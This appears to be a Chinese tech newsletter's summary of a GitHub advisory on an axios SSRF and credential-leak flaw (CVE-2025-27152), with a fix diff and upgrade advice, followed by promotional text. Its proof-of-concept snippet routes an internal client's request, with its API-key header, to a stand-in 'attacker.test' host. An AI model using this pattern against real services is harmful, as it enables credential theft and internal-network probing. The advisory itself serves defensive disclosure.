Axios 请求可能存在 SSRF(服务器端请求伪造)和凭据泄露风险
作者:@jasonsaayman
原文:https://github.com/advisories/GHSA-jr5f-v2jv-69x6
背景
GitHub Advisory Database 最近发布了一个关于 axios 库的高严重性漏洞(CVE-2025-27152)。该漏洞涉及使用绝对 URL 时可能导致服务器端请求伪造(SSRF)和凭证泄露。
axios 是一个广泛使用的 JavaScript 库,用于在浏览器和 Node.js 中发起 HTTP 请求。目前最新版本是V1.8.3。
要点
漏洞描述
当使用绝对 URL 时,axios 会忽略 baseURL
的设置,直接将请求发送到指定的绝对 URL,这可能导致 SSRF 攻击和敏感凭证泄露。
在传递绝对 URL 而不是协议相对 URL 给 Axios 时,即使设置了 baseURL,Axios 仍然会向指定的绝对 URL 发送请求。这可能导致 SSRF(服务器端请求伪造)和凭据泄露。此问题影响 Axios 在服务器端和客户端的使用。
影响范围
所有使用 baseURL
且未对路径参数进行验证的软件都可能受到影响。
修复版本
axios 1.8.2 版本已修复此问题。
【第3234期】fetchLater:JS全新API支持关闭页面时安全发送网络请求
分析
该漏洞的核心问题在于 axios 在处理绝对 URL 时未正确验证 baseURL
。例如,即使设置了 baseURL
为 http://example.test/api/v1/users/
,如果用户传入的路径参数为 http://attacker.test/
,axios 会将请求发送到 http://attacker.test/
,而不是预期的 baseURL
。
请考虑以下代码片段:
import axios from"axios";
const internalAPIClient = axios.create({
baseURL:"http://example.test/api/v1/users/",
headers:{
"X-API-KEY":"1234567890",
},
});
// const userId = "123";
const userId ="http://attacker.test/";
await internalAPIClient.get(userId); // SSRF
在这个示例中,请求被发送到了 http://attacker.test/
,而不是 baseURL。因此,attacker.test
的域名所有者将能够获取请求头中包含的 X-API-KEY,导致凭据泄露。
【第3241期】await 能有什么风险?JavaScript 世界的隐忧
在 V1.8.2 中已修复此问题
- const fullPath = buildFullPath(config.baseURL, config.url);
+ const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
这可能导致以下问题:
凭证泄露
攻击者可以通过构造恶意 URL 获取包含敏感信息的请求头,如 API 密钥。
SSRF 攻击
攻击者可以利用此漏洞向内部网络中的其他主机发送请求,可能导致内部系统被入侵。
结论
axios 的这一漏洞再次提醒开发者在使用第三方库时需要密切关注安全更新。建议所有使用 axios 的项目尽快升级到 1.8.2 版本,并在代码中增加对路径参数的验证,以防止类似漏洞的利用。未来,随着 SSRF 攻击的增多,开发者应更加重视对请求 URL 的验证和过滤。
? 每天只需花五分钟即可阅读到的技术资讯,加入【早阅】共学,可联系 vx:zhgb_f2er
5 分钟新知:了解外面世界的一种方式。
?可直接通过阅读原文了解详细内容。

优网科技秉承"专业团队、品质服务" 的经营理念,诚信务实的服务了近万家客户,成为众多世界500强、集团和上市公司的长期合作伙伴!
优网科技成立于2001年,擅长网站建设、网站与各类业务系统深度整合,致力于提供完善的企业互联网解决方案。优网科技提供PC端网站建设(品牌展示型、官方门户型、营销商务型、电子商务型、信息门户型、DIY体验、720全景展厅及3D虚拟仿真)、移动端应用(手机站、APP开发)、微信定制开发(微信官网、微信商城、企业微信)、微信小程序定制开发等一系列互联网应用服务。